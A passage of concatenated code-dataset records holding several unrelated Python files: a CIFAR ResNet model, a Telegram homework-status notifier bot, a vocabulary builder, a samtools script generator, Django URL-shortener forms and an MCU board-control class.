x inplanes x H x H\n\n        out = self.relu(self.bn1(self.conv1(x)))                    # batch_size x width x H x H\n        out = self.dropout(out)\n        out = self.relu(self.bn2(self.conv2(out)))                  # batch_size x width x H/stride x H/stride\n        out = self.dropout(out)\n        out = self.bn3(self.conv3(out))                             # batch_size x planes*self.expansion x H/stride x H/stride\n        out = self.dropout(out)\n\n        if self.downsample is not None:\n            identity = self.downsample(x)\n\n        out += identity                                             # skip connection\n        out = self.relu(out)\n\n        return out                                                  # batch_size x planes*self.expansion x H/stride x H/stride\n\n    def forward(self, x):\n        \"\"\" forward method \"\"\"\n\n        return self._forward_imp2(x)\n\n\nclass ResNet(nn.Module):\n    \"\"\"\n    ResNet\n\n    An abstract network builder class to generate ResNet variants\n\n    Common structure:\n\n        - conv-7x7-s2 -> bn -> relu -> max_pool-3x3-s2\n        - res-block (basic / bottleneck) stack: 1\n        - res-block (basic / bottleneck) stack: 2\n        - res-block (basic / bottleneck) stack: 3\n        - res-block (basic / bottleneck) stack: 4\n        - global average pool -> flatten -> fc\n\n    \"\"\"\n\n    def __init__(self, block, stacks, num_classes=10, zero_init_residual=True,\n                 groups=1, width_per_group=64, replace_stride_with_dilation=None,\n                 norm_layer=None):\n        \"\"\"\n        Constructor\n\n        Args:\n            block: (BasicBlock or BottleNeck class) type of residual block to use as building block for res-stacks\n            stacks: (list) a list of 4 integers, each specifying the number of layers (residual blocks) in each of the 4 res-stacks\n            num_class: (int) number of final fc layer outputs\n            zero_init_residual: (bool) if true initialize the weights of the last BN layer in each residual block to zero\n            groups: (int)\n            width_per_group: (int)\n            replace_stride_with_dilation: (tuple of 3 boolean values) specify whether or not to use dilated conv for\n                                residual stack 1~3 (strided stacks)\n            norm_layer: (nn.Module) nomalization layer; default = nn.BatchNorm2d\n\n        \"\"\"\n\n        super(ResNet, self).__init__()\n\n        if norm_layer is None:\n            norm_layer = nn.BatchNorm2d\n\n        self._norm_layer = norm_layer\n        self.inplanes = 64\n        self.dilation = 1\n        self.groups = groups\n        self.base_width = width_per_group\n\n        if replace_stride_with_dilation is None:\n            replace_stride_with_dilation = [False, False, False]\n        if len(replace_stride_with_dilation) != 3:\n            raise ValueError(\"replace_stride_with_dilation should be None\"\n                             \"or a 3-element tuple, got {}\".format(replace_stride_with_dilation))\n\n        self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=3, stride=1, padding=3, bias=False)\n        self.bn1 = norm_layer(self.inplanes)\n        self.relu = nn.ReLU(inplace=True)\n\n        # construt residual stacks\n        # 1st stack use no striding, no channel doubling (except block expansion)\n        # subsequent stacks use stride=2 in its 1st layer, double channels at final stack output\n        # to avoid bottleneck in information flow\n        self.stack1 = self._make_stack(block, 64, stacks[0], stride=1)\n        self.stack2 = self._make_stack(block, 128, stacks[1], stride=2,\n                                       dilate=replace_stride_with_dilation[0])\n        self.stack3 = self._make_stack(block, 256, stacks[2], stride=2,\n                                       dilate=replace_stride_with_dilation[1])\n        self.stack4 = self._make_stack(block, 512, stacks[3], stride=2,\n                                       dilate=replace_stride_with_dilation[2])\n\n        # global average pooling\n        self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n        self.fc = nn.Linear(256 * block.expansion, num_classes)\n\n        self.dropout = nn.Dropout(p=0.2)\n\n        # initialization\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n            elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n        # zero-initiate the last BN layer in each residual block (basic or bottleneck)\n        if zero_init_residual:\n            for m in self.modules():\n                if isinstance(m, BottleNeck):\n                    nn.init.constant_(m.bn3.weight, 0)\n                elif isinstance(m, BasicBlock):\n                    nn.init.constant_(m.bn2.weight, 0)\n\n\n    def _make_stack(self, block, planes, blocks, stride=1, dilate=False):\n        \"\"\"\n        Construct a res-block stack\n\n        Args:\n            block: (BasicBlock or BottleNeck class) building block for res-stack\n            planes: (int) number of output channels (equal for all layers in the stack) = planes * block.expansion\n            blocks: (int) number of building blocks (layers) in the stack\n            stride: (int) if > 1, apply striding to (only) the first layer in the stack\n            dilate: (bool) if True enable dilation instead of striding\n\n        Structure:\n            - 1st layer:\n                - if stride > 1, enable striding\n                - input = batch_size x self.inplanes x H x H\n                - output = batch_size x planes * block.expansion x H/stride x H/stride\n                - requires downsampling by conv-1x1\n            - subsequent layers:\n                - layer_stride =1\n                - input = output = batch_size x planes * block.expansion x H/stride x H/stride\n                - downsample = None\n\n        \"\"\"\n\n        norm_layer = self._norm_layer\n        downsample = None\n        previous_dilation = self.dilation\n\n        # use dilation instead of striding if true\n        if dilate:\n            self.dilation *= stride\n            stride = 1\n\n        # apply conv-1x1 to input identity if stride > 1 or output channels != input channels for dim. matching\n        if stride != 1 or self.inplanes != planes * block.expansion:\n            downsample = nn.Sequential(\n                conv1x1(self.inplanes, planes * block.expansion, stride),\n                norm_layer(planes * block.expansion)\n            )\n\n        layers = []\n        # first layer\n        # input = batch_size x self.inplanes x H x H\n        # output = batch_size x planes * block.expansion x H/stride x H/stride\n        layers.append(block(self.inplanes, planes, stride, downsample, self.groups,\n                            self.base_width, previous_dilation, norm_layer))\n        self.inplanes = planes * block.expansion\n        # subsequent layers\n        for _ in range(1, blocks):\n            # input = output = batch_size x planes * block.expansion x H' x H'\n            layers.append(block(self.inplanes, planes, groups=self.groups,\n                                base_width=self.base_width, dilation=self.dilation,\n                                norm_layer=norm_layer))\n\n        return nn.Sequential(*layers)\n\n\n    def _forward_imp1(self, x):\n        \"\"\" forward method: no dropout \"\"\"\n                                                                        # batch_size x 3 x H x H -> 32 x 32 on cifar-10\n        x = self.bn1(self.conv1(x))                                     # batch_size x 64 x H x H -> 32 x 32\n\n        x = self.stack1(x)                                              # batch_size x 64*block.expansion x H/2 x H/2 -> 16 x 16\n        x = self.stack2(x)                                              # batch_size x 128*block.expansion x H/4 x H/4 -> 8 x 8\n        x = self.stack3(x)                                              # batch_size x 256*block.expansion x H/8 x H/8 -> 4 x 4\n\n        x = self.avgpool(x)                                             # batch_size x 256*block.expansion x 1 x 1\n        x = torch.flatten(x, 1)                                         # batch_size x 256*block.expansion*1*1\n        out = self.fc(x)                                                # batch_size x num_classes\n\n        return out\n\n    def _forward_imp2(self, x):\n        \"\"\" forward method: dropout \"\"\"\n                                                                        # batch_size x 3 x H x H -> 32 x 32 on cifar-10\n        x = self.bn1(self.conv1(x))                                     # batch_size x 64 x H x H -> 32 x 32\n        x = self.dropout(x)\n\n        x = self.stack1(x)                                              # batch_size x 64*block.expansion x H/2 x H/2 -> 16 x 16\n        x = self.dropout(x)\n        x = self.stack2(x)                                              # batch_size x 128*block.expansion x H/4 x H/4 -> 8 x 8\n        x = self.dropout(x)\n        x = self.stack3(x)                                              # batch_size x 256*block.expansion x H/8 x H/8 -> 4 x 4\n        x = self.dropout(x)\n\n        x = self.avgpool(x)                                             # batch_size x 256*block.expansion x 1 x 1\n        x = torch.flatten(x, 1)                                         # batch_size x 256*block.expansion*1*1\n        out = self.fc(x)                                                # batch_size x num_classes\n\n        return out\n\n    def forward(self, x):\n        \"\"\" forward method \"\"\"\n        return self._forward_imp1(x)\n\n\ndef _resnet(arch, block, layers, pretrained, progress, **kwargs):\n    \"\"\"\n    Abstract model generator interface\n\n    Args:\n        arch: (str) architecture of pretrained model\n        block: (BasicBlock or BottleNeck) residual block type\n        layers: (list) a list of 4 integers each specifying the number of residual blocks for each of the 4 residual stacks\n        pretrained: (bool) if true load the weights from pretrained models on ImageNet\n        progress: (bool) if true displays a progress bar of the download to stderr\n        **kwargs: pointer to additional arguments (e.g., groups, stride, etc.)\n\n    \"\"\"\n    model = ResNet(block, layers, **kwargs)\n    if pretrained:\n        state_dict = load_state_dict_from_url(model_urls[arch], progress=progress)\n        model.load_state_dict(state_dict)\n    return model\n\n@register(name='cifar-resnet18')\ndef resnet18(pretrained=False, progress=True, **kwargs):\n    \"\"\" ResNet-18 \"\"\"\n    return _resnet('resnet18', BasicBlock, [2, 2, 2, 2], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnet34')\ndef resnet34(pretrained=False, progress=True, **kwargs):\n    \"\"\" ResNet-34 \"\"\"\n    return _resnet('resnet34', BasicBlock, [3, 4, 6, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnet50')\ndef resnet50(pretrained=False, progress=True, **kwargs):\n    \"\"\" ResNet-50 \"\"\"\n    return _resnet('resnet50', BottleNeck, [3, 4, 6, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnet101')\ndef resnet101(pretrained=False, progress=True, **kwargs):\n    \"\"\" ResNet-101 \"\"\"\n    return _resnet('resnet101', BottleNeck, [3, 4, 23, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnet152')\ndef resnet152(pretrained=False, progress=True, **kwargs):\n    \"\"\" ResNet-152 \"\"\"\n    return _resnet('resnet152', BottleNeck, [3, 8, 36, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnext50_32x4d')\ndef resnext50_32x4d(pretrained=False, progress=True, **kwargs):\n    \"\"\"\n    ResNeXt-50 32x4d\n    layer = 50\n    cardinality = 32\n    bottleneck base_width = 4 (width_per_group)\n    \"\"\"\n    kwargs['groups'] = 32\n    kwargs['width_per_group'] = 4\n    return _resnet('resnext50_32x4', BottleNeck, [3, 4, 6, 4], pretrained, progress, **kwargs)\n\n@register(name='cifar-resnext101_32x8d')\ndef resnext101_32x8d(pretrained=False, progress=True, **kwargs):\n    \"\"\"\n    ResNeXt-101 32x8d\n    layer = 101\n    cardinality = 32\n    bottleneck base_width = 8\n    \"\"\"\n    kwargs['groups'] = 32\n    kwargs['width_per_group'] = 8\n    return _resnet('resnext101_32x8d', BottleNeck, [3, 4, 23, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-wide_resnet50_2')\ndef wide_resnet50_2(pretrained=False, progress=True, **kwargs):\n    \"\"\"\n    wide ResNet-50-2\n    - model is the same as ResNet-50, except bottleneck base_width is doubled\n    \"\"\"\n    kwargs['width_per_group'] = 64 * 2\n    return _resnet('wide_resnet50_2', BottleNeck, [3, 4, 6, 3], pretrained, progress, **kwargs)\n\n@register(name='cifar-wide_resnet101_2')\ndef wide_resnet101_2(pretrained=False, progress=True, **kwargs):\n    \"\"\"\n    wide ResNet-101-2\n    - model is the same as ResNet-101, except bottleneck base_width is doubled\n    \"\"\"\n    kwargs['width_per_group'] = 64 * 2\n    return _resnet('wide_resnet101_2', BottleNeck, [3, 4, 23, 3], pretrained, progress, **kwargs)\n","sub_path":"model/resnet_cifar.py","file_name":"resnet_cifar.py","file_ext":"py","file_size_in_byte":21709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"155622822","text":"import logging\nimport os\nimport time\n\nimport requests\nimport telegram\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    filename='main.log',\n    filemode='w',\n    format='%(asctime)s, %(levelname)s, %(name)s, %(message)s',\n)\n\nPRAKTIKUM_TOKEN = os.getenv(\"PRAKTIKUM_TOKEN\")\nAPI_URL = 'https://praktikum.yandex.ru/api/user_api/{}'\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nCHAT_ID = os.getenv('TELEGRAM_CHAT_ID')\n\n\ndef parse_homework_status(homework: dict) -> str:\n    homework_name = homework.get('homework_name')\n    homework_status = homework.get('status')\n\n    if homework_name is None or homework_status is None:\n        message = 'Не удалось получить данные.'\n        logging.error(message)\n        return message\n\n    if homework_status == 'rejected':\n        verdict = 'К сожалению в работе нашлись ошибки.'\n    elif homework_status == 'approved':\n        verdict = ('Ревьюеру всё понравилось, можно '\n                   'приступать к следующему уроку.')\n    elif homework_status == 'reviewing':\n        verdict = 'Работа взята в ревью.'\n    else:\n        message = (f'У работы \"{homework_name}\" неизвестный '\n                   f'статус: {homework_status}.')\n        logging.error(message)\n        return message\n\n    return f'У вас проверили работу \"{homework_name}\"!\\n\\n{verdict}'\n\n\ndef get_homework_statuses(current_timestamp: int) -> dict:\n    params = {'from_date': current_timestamp, }\n    headers = {'Authorization': 'OAuth ' + PRAKTIKUM_TOKEN, }\n\n    try:\n        api_url = API_URL.format('homework_statuses/')\n        homework_statuses = requests.get(api_url, params, headers=headers)\n        return homework_statuses.json()\n\n    except Exception as e:\n        message = f'Не удалось получить данные. Возникла ошибка: {e}.'\n        logging.error(message)\n\n    return {}\n\n\ndef send_message(message: str, bot_client):\n    logging.info('Сообщение отправлено')\n    return bot_client.send_message(CHAT_ID, message)\n\n\ndef main():\n    bot = telegram.Bot(token=TELEGRAM_TOKEN)\n    logging.debug('Бот запущен.')\n    timestamp = int(time.time())\n\n    while True:\n        try:\n            homework_statuses = get_homework_statuses(timestamp)\n            homeworks = homework_statuses.get('homeworks')\n            if homeworks:\n                send_message(parse_homework_status(homeworks[0]), bot)\n            timestamp = homework_statuses.get('current_date', int(time.time()))\n            time.sleep(30)\n\n        except Exception as e:\n            message = f'Бот столкнулся с ошибкой: {e}'\n            logging.error(message)\n            send_message(message, bot)\n            time.sleep(60)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"notifier-bot.py","file_name":"notifier-bot.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"650786007","text":"#!/usr/bin/env python3\n\nimport collections\nimport pathlib\nimport pickle\nimport sys\n\nimport pandas as pd\nfrom tqdm import tqdm\ntqdm.pandas()\n\nimport utils\n\n# Variables\nVOCABULARY_SIZE = 10000\nTAG_SIZE = 250\n\nOUTPUT_PATH = pathlib.Path(__file__).parent.joinpath('../../output/').resolve()\nOUTPUT_PATH.mkdir(parents=True, exist_ok=True)\n\nif __name__ == '__main__':\n    \"\"\"\n    Builds vocabulary list and tag list from input dataset\n    \"\"\"\n\n    dataset = pathlib.Path(sys.argv[1])\n\n    vocabulary = collections.Counter()\n    tags = collections.Counter()\n\n    print(f'Opening {dataset} ...')\n    df = pd.read_csv(dataset).dropna()\n\n    print(f'Counting words and tags ...')\n    words = (w for s in df['body'].astype(str) for w in s.split())\n    df['tags'] = df['tags'].str.split(\"|\", expand=False)\n    vocabulary.update(words)\n    tags.update((t for l in df['tags'] for t in l))\n\n    vocabulary = {\n        w: i for (w, _), i in zip(vocabulary.most_common(VOCABULARY_SIZE), range(VOCABULARY_SIZE))\n    }\n    tags = {\n        w: i for (w, _), i in zip(tags.most_common(TAG_SIZE), range(TAG_SIZE))\n    }\n\n    # Saving data\n    with (OUTPUT_PATH / 'vocabulary.pkl').open('wb') as f:\n        print(f'Saving vocabulary to {f.name} ...')\n        pickle.dump(file=f, obj=vocabulary)\n    with (OUTPUT_PATH / 'tags.pkl').open('wb') as f:\n        print(f'Saving tags to {f.name} ...')\n        pickle.dump(file=f, obj=tags)\n","sub_path":"model/src/preprocessing/build_vocabulary.py","file_name":"build_vocabulary.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"347942248","text":"import os\nouFile = open('Tophat-mapping-filter.sh', 'w')\nFs = os.listdir('.')\nL1 = []\nL2 = []\nfor F in Fs:\n    if os.path.isdir(F):\n        bam = F + '/' + 'accepted_hits.bam'\n        bam_filtered = F + '.bam'\n        s1 = 'samtools view -bh %s -q 50 -o %s'%(bam, bam_filtered)\n        s2 = '#rm %s'%bam\n        L1.append(s1)\n        L2.append(s2)\nfor item in L1:\n    ouFile.write(item + '\\n')\nfor item in L2:\n    ouFile.write(item + '\\n')\nouFile.close()\n","sub_path":"mTECs/14-RNASeq/02-mapping/02-quality.py","file_name":"02-quality.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"301824181","text":"# Django Imports\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.utils.safestring import mark_safe\nfrom django.utils import timezone\n\n# App Imports\nfrom go.models import URL, RegisteredUser\n\n# Other Imports\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Fieldset, Submit, HTML, Div, Field\nfrom crispy_forms.bootstrap import StrictButton, PrependedText, Accordion, AccordionGroup\nfrom bootstrap3_datetime.widgets import DateTimePicker\nfrom datetime import date, datetime, timedelta\n\n\"\"\"\n    The form that is used in URL creation.\n\"\"\"\nclass URLForm(forms.ModelForm):\n\n    # Prevent redirect loop links\n    def clean_target(self):\n        # get the entered target link\n        target = self.cleaned_data.get('target')\n        # if the host (go.gmu.edu) is in the entered target link\n        if self.host in target:\n            raise ValidationError(\"You can't make a Go link to Go silly!\")\n        else:\n            return target\n\n    # Custom target URL field\n    target = forms.URLField(\n        required=True,\n        label='Long URL (Required)',\n        max_length=1000,\n        widget=forms.URLInput(attrs={\n            'placeholder': 'https://yoursite.com/'\n        })\n    )\n\n    # Check to make sure the short url has not been used\n    def unique_short(value):\n        try:\n            # if we're able to get a URL with the same short url\n            URL.objects.get(short__iexact=value)\n        except URL.DoesNotExist:\n            return\n        # then raise a ValidationError\n        raise ValidationError('Short url already exists.')\n\n    # Custom short-url field with validators.\n    short = forms.SlugField(\n        required = False,\n        label = 'Short URL (Optional)',\n        widget = forms.TextInput(),\n        validators = [unique_short],\n        max_length = 20,\n        min_length = 3,\n    )\n\n    # define some string date standards\n    DAY = '1 Day'\n    WEEK = '1 Week'\n    MONTH = '1 Month'\n    CUSTOM = 'Custom Date'\n    NEVER = 'Never'\n\n    # define a tuple of string date standards to be used as our date choices\n    EXPIRATION_CHOICES = (\n        (DAY, DAY),\n        (WEEK, WEEK),\n        (MONTH, MONTH),\n        (NEVER, NEVER),\n        (CUSTOM, CUSTOM),\n    )\n\n    # Add preset expiration choices.\n    expires = forms.ChoiceField(\n        required = True,\n        label = 'Expiration (Required)',\n        choices = EXPIRATION_CHOICES,\n        initial = NEVER,\n        widget = forms.RadioSelect(),\n    )\n\n    # Check if the selected date is a valid date\n    def valid_date(value):\n        # a valid date is one that is greater than today\n        if value > timezone.now():\n            return\n        # raise a ValidationError if the date is invalid\n        else:\n            raise ValidationError('Date must be after today.')\n\n\n    # Add a custom expiration choice.\n    expires_custom = forms.DateTimeField(\n        required = False,\n        label = 'Custom Date',\n        input_formats = ['%m-%d-%Y'],\n        validators = [valid_date],\n        initial = lambda: datetime.now() + timedelta(days=1),\n        widget = DateTimePicker(\n            options={\n                \"format\": \"MM-DD-YYYY\",\n                \"pickTime\": False,\n            },\n            icon_attrs={\n                \"class\": \"fa fa-calendar\",\n            },\n        )\n    )\n\n    # on initialization of the form, crispy forms renders this layout\n    def __init__(self, *args, **kwargs):\n        # Grab that host info\n        self.host = kwargs.pop('host', None)\n        super(URLForm, self).__init__(*args, **kwargs)\n        # Define the basics for crispy-forms\n        self.helper = FormHelper()\n        self.helper.form_method = 'POST'\n\n        # Some xtra vars for form css purposes\n        self.helper.form_class = 'form-horizontal'\n        self.helper.label_class = 'col-md-1'\n        self.helper.field_class = 'col-md-6'\n\n        # The main \"layout\" defined\n        self.helper.layout = Layout(\n            Fieldset('',\n            #######################\n                Accordion(\n                    # Step 1: Long URL\n                    AccordionGroup('Step 1: Long URL',\n                        Div(\n                            HTML(\"\"\"\n                                <h4>Paste the URL you would like to shorten:</h4>\n                                <br />\"\"\"),\n                            'target',\n                            style=\"background: rgb(#F6F6F6);\"),\n                        active=True,\n                        template='crispy/accordian-group.html'),\n\n                    # Step 2: Short URL\n                    AccordionGroup('Step 2: Short URL',\n                        Div(\n                            HTML(\"\"\"\n                                <h4>Create a custom Go address:</h4>\n                                <br />\"\"\"),\n                            PrependedText(\n                            'short', 'https://go.gmu.edu/', template='crispy/customPrepended.html'),\n                            style=\"background: rgb(#F6F6F6);\"),\n                        active=True,\n                        template='crispy/accordian-group.html',),\n\n                    # Step 3: Expiration\n                    AccordionGroup('Step 3: URL Expiration',\n                        Div(\n                            HTML(\"\"\"\n                                <h4>Set when you would like your Go address to expire:</h4>\n                                <br />\"\"\"),\n                            'expires',\n                            Field('expires_custom', template=\"crispy/customDateField.html\"),\n                            style=\"background: rgb(#F6F6F6);\"),\n                        active=True,\n                        template='crispy/accordian-group.html'),\n\n                    # FIN\n                    template='crispy/accordian.html'),\n            #######################\n            HTML(\"\"\"\n                <br />\"\"\"),\n            StrictButton('Shorten', css_class=\"btn btn-primary btn-md col-md-4\", type='submit')))\n\n    # metadata about this ModelForm\n    class Meta:\n        # what model this form is for\n        model = URL\n        # what attributes are included\n        fields = ['target',]\n\n\"\"\"\n    The form that is used when a user is signing up to be a RegisteredUser\n\"\"\"\nclass SignupForm(forms.ModelForm):\n\n    # The full name of the RegisteredUser\n    full_name = forms.CharField(\n        required = True,\n        label = 'Full Name (Required)',\n        max_length = 100,\n        widget = forms.TextInput(),\n    )\n\n    # The RegisteredUser's chosen organization\n    organization = forms.CharField(\n        required = True,\n        label = 'Organization (Required)',\n        max_length = 100,\n        widget = forms.TextInput(),\n    )\n\n    # The RegisteredUser's reason for signing up to us Go\n    description = forms.CharField(\n        required = False,\n        label = 'Description (Optional)',\n        max_length = 200,\n        widget = forms.Textarea(),\n    )\n\n    # A user becomes registered when they agree to the TOS\n    registered = forms.BooleanField(\n        required=True,\n        # ***Need to replace lower url with production URL*** ie. go.gmu.edu/about#terms\n        label = mark_safe('Do you accept the <a href=\"http://127.0.0.1:8000/about#terms\">Terms of Service</a>?'),\n    )\n\n    # on initialization of the form, crispy forms renders this layout\n    def __init__(self, request, *args, **kwargs):\n        # Necessary to call request in forms.py, is otherwise restricted to views.py and models.py\n        self.request = request\n        super(SignupForm, self).__init__(*args, **kwargs)\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.label_class = 'col-md-4'\n        self.helper.field_class = 'col-md-6'\n\n        self.helper.layout = Layout(\n            Fieldset('',\n                Div(\n                    # Place in form fields\n                    Div(\n                        'full_name',\n                        'organization',\n                        'description',\n                        'registered',\n                        css_class='well'),\n\n                    # Extras at bottom\n                    StrictButton('Submit',css_class='btn btn-primary btn-md col-md-4', type='submit'),\n                    css_class='col-md-6')))\n\n    # metadata about this ModelForm\n    class Meta:\n        # what model this form is for\n        model = RegisteredUser\n        # what attributes are included\n        fields = ['full_name', 'organization', 'description', 'registered',]\n","sub_path":"go/go/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":8550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"316497872","text":"from __future__ import absolute_import\nimport os\nimport logging\nimport importlib\nimport mbed_lstools\nfrom mcutk.debugger.base import DebuggerBase\nfrom mcutk.pserial.serial import Serial\n\n\ndef getboard(name, **kwargs):\n    \"\"\"An entry to get board instance.\n\n    Arguments:\n        name {string} -- board name\n    \"\"\"\n    devicename = kwargs.pop(\"devicename\", \"\")\n    try:\n        boardmodule_path = \"mcutk.board.%s\"%name\n        logging.debug(boardmodule_path)\n        boardmodule = importlib.import_module(boardmodule_path)\n        board = boardmodule.Board(devicename, **kwargs)\n    except ImportError as e:\n        board = Board(devicename, **kwargs)\n\n    logging.debug(str(board))\n    board.name = name\n    return board\n\n\n\n\nclass Board(object):\n    \"\"\"MCUTK base board. Defined common interface & functions.\n    This object can be used directly and provide general support for Kinetis series.\n    \"\"\"\n    def __init__(self, devicename=None, **kwargs):\n        \"\"\"Create a mcutk.Board instance.\n\n        Arguments:\n            devicename {string} -- device name\n            interface {string} -- SWD/JTAG\n\n        Keyword Arguments:\n            debugger_type {string} -- debugger type, choices are defined in\n        \"\"\"\n        self.name = devicename\n        self.devicename = devicename\n        self._debugger = None\n        self._serial_ports = list()\n\n        self.interface = kwargs.get(\"interface\", \"SWD\")\n        self.debugger_type = kwargs.get(\"debugger_type\", \"jlink\")\n\n        # default gdbport is 3000\n        self.gdbport = kwargs.get(\"gdbport\", 3333)\n        self.usbid = kwargs.get(\"usbid\")\n        self.serial = kwargs.get(\"serial\", \"\")\n        self.baudrate = kwargs.get(\"baudrate\", \"115200\")\n        self.start_address = kwargs.get(\"start_address\", \"0\")\n\n        self.sp = None #\"(0x00000000)\"\n        self.pc = None #\"(0x00000004)\"\n        self.resource = []\n\n\n    def __repr__(self):\n        return \"<{0}(name={1.devicename}, usbid={1.usbid})>\".format(self.__class__.__name__, self)\n\n\n    def get_mount_point(self):\n        \"\"\"Return mount point by matching usbid.\n        \"\"\"\n        mbeds = mbed_lstools.create()\n        mbeds_devices = mbeds.list_mbeds(filter_function=lambda m: m[\"target_id\"] in self.usbid)\n        if not mbeds_devices:\n            return\n        return mbeds_devices[0]['mount_point']\n\n\n    def set_serial(self, port, baudrate, **kwargs):\n        \"\"\"Set or add serial port to board object, this interface will pass all\n        parameters to serial.Serial object. For more details, please refer to pyserial\n        documentation: https://pythonhosted.org/pyserial/pyserial_api.html#classes.\n\n        Default timeout=1.\n        \"\"\"\n        if not port:\n            return None\n        timeout = kwargs.pop('timeout', 1)\n        sp = Serial(timeout=timeout, **kwargs)\n        sp.port = port\n        sp.baudrate = baudrate\n        self._serial_ports.append(sp)\n\n\n    def get_serial(self, index=0):\n        \"\"\"Get serial port instance by index.\n            0 -- main\n            1 -- secondary\n            2 -- third\n\n        Arguments:\n            index {int} -- the port index.\n\n        Returns:\n            pyserial, serila.Serial instance,\n        \"\"\"\n        if not self._serial_ports:\n            logging.debug('no serial ports are configured!')\n            return None\n\n        try:\n            return self._serial_ports[index]\n        except IndexError:\n            return None\n\n    def remove_resource(self, res_inst):\n        for res in self.resource:\n            if id(res[1]) == id(res_inst):\n                logging.warning(\"find resource for %s\", id(res_inst))\n                self.resource.remove(res)\n\n        logging.warning(\"resource for %s not found\", id(res_inst))\n        return None\n\n\n    def register_resource(self, res_inst, naming):\n        \"\"\"\n        regist resources to board\n        res_init: resource instance\n        naming: name string of this resource\n        \"\"\"\n        res = [naming, res_inst]\n\n        self.resource.insert(-1, res)\n\n\n    def find_resource_by_name(self, naming):\n        \"\"\"\n        find a resource by name\n        naming: the name of the resource\n        return: the first match resource or None\n        \"\"\"\n        for res in self.resource:\n            if res[0] == naming:\n                return res[1]\n\n        logging.debug(\"resource for %s not found\", naming)\n        return None\n\n\n    def find_resource_by_type(self, type_string):\n        \"\"\"\n        find a resource by type\n        type_string: the name of resource type(class)\n        return: a list of matched resource, otherwise None\n        \"\"\"\n        ret = []\n        for res in self.resource:\n            if type(res[1]).__name__ == type_string:\n                logging.info(\"find resource for %s\", type_string)\n                ret.insert(-1, res[1])\n\n        logging.info(\"resource for %s not found\", type_string)\n        return None\n\n\n    @property\n    def debugger(self):\n        if not self._debugger:\n            raise ValueError(\"debugger is not set!\")\n        self._debugger.set_board(self)\n        return self._debugger\n\n\n    @debugger.setter\n    def debugger(self, value):\n        if isinstance(value, DebuggerBase):\n            self._debugger = value\n        else:\n            ValueError(\"This not a valid debugger object\")\n\n\n    @property\n    def gdb_init_commands(self):\n        \"\"\"gdb.init is a string include gdb commands.\n\n        It will be rendered before execute 'gdb -x gdb.init'.\n        Default it is loaded from debugger.gdbinit_template.\n        Overwrite this function can custom the commands.\n        \"\"\"\n        return None\n\n\n    @property\n    def ser_main(self):\n        \"\"\"A shortcut attribute to access the main serial port object.\n        \"\"\"\n        return self.get_serial(0)\n\n\n    @property\n    def ser_sec(self):\n        \"\"\"A shortcut attribute to access the secondary serial port object.\n        \"\"\"\n        return self.get_serial(1)\n\n    def reset_board_by_send_break(self, serial=None):\n        \"\"\"CMSIS-DAP firmware allows the target to be reset by sending a break command\n        over the serial port.\n        Default use the main serial port.\n        \"\"\"\n        if serial == None:\n            serial = self.ser_main\n\n        logging.info('reset board by sending break to port: %s', serial.port)\n        _opened_by_me = False\n        if not serial.is_open:\n            _opened_by_me = True\n            serial.open()\n\n        try:\n            serial.send_break()\n        except:\n            serial.break_condition = False\n\n        # if port status is aligned with the origin.\n        if _opened_by_me:\n            serial.close()\n\n        return True\n\n\n\n    def reset(self, method=\"debugger\"):\n        \"\"\"Reset board. There are several methos allow user to reset board.\n        By default it is debugger method.\n\n        Reset method list:\n            - debugger: use debugger(JTAG) to reset board\n            - serial: send break via serial port\n\n        Keyword Arguments:\n            method {str} -- [description] (default: {\"debugger\"})\n        \"\"\"\n        if method == 'serial':\n            return self.reset_board_by_send_break()\n\n        elif method == \"debugger\":\n            assert self.debugger\n            return self.debugger.reset()\n\n        else:\n            raise ValueError('unknow reset method %s'%method)\n\n\n    def programming(self, filename, **kwargs):\n        \"\"\"Auto program binary to board.\n\n        For general situation, it is avaliable for most boards.\n        It will choose gdb or general method by filename extension.\n\n        params:\n            filename: path to image file.\n        \"\"\"\n        logging.info(\"debugger version %s\", self.debugger.version)\n        logging.info(\"programming %s\", filename)\n        ext = os.path.splitext(filename)[-1]\n        if self.debugger_type in (\"jlink\", 'pyocd'):\n            if ext in (\".bin\", \".img\"):\n                return self.debugger.flash(filename, self.start_address)\n            else:\n                return self.debugger.gdb_program(filename, **kwargs)\n        else:\n            return self.debugger.flash(filename, **kwargs)\n\n\n    def check_serial(self):\n        \"\"\"Check serial port.\n        \"\"\"\n        status = \"pass\"\n        try:\n            self.ser_main.write_timeout = 2\n            self.ser_main.open()\n            self.ser_main.write(\"A\\r\\n\")\n        except Exception as e:\n            status = str(e)\n        finally:\n            if self.ser_main and self.ser_main.is_open:\n                self.ser_main.close()\n\n        return 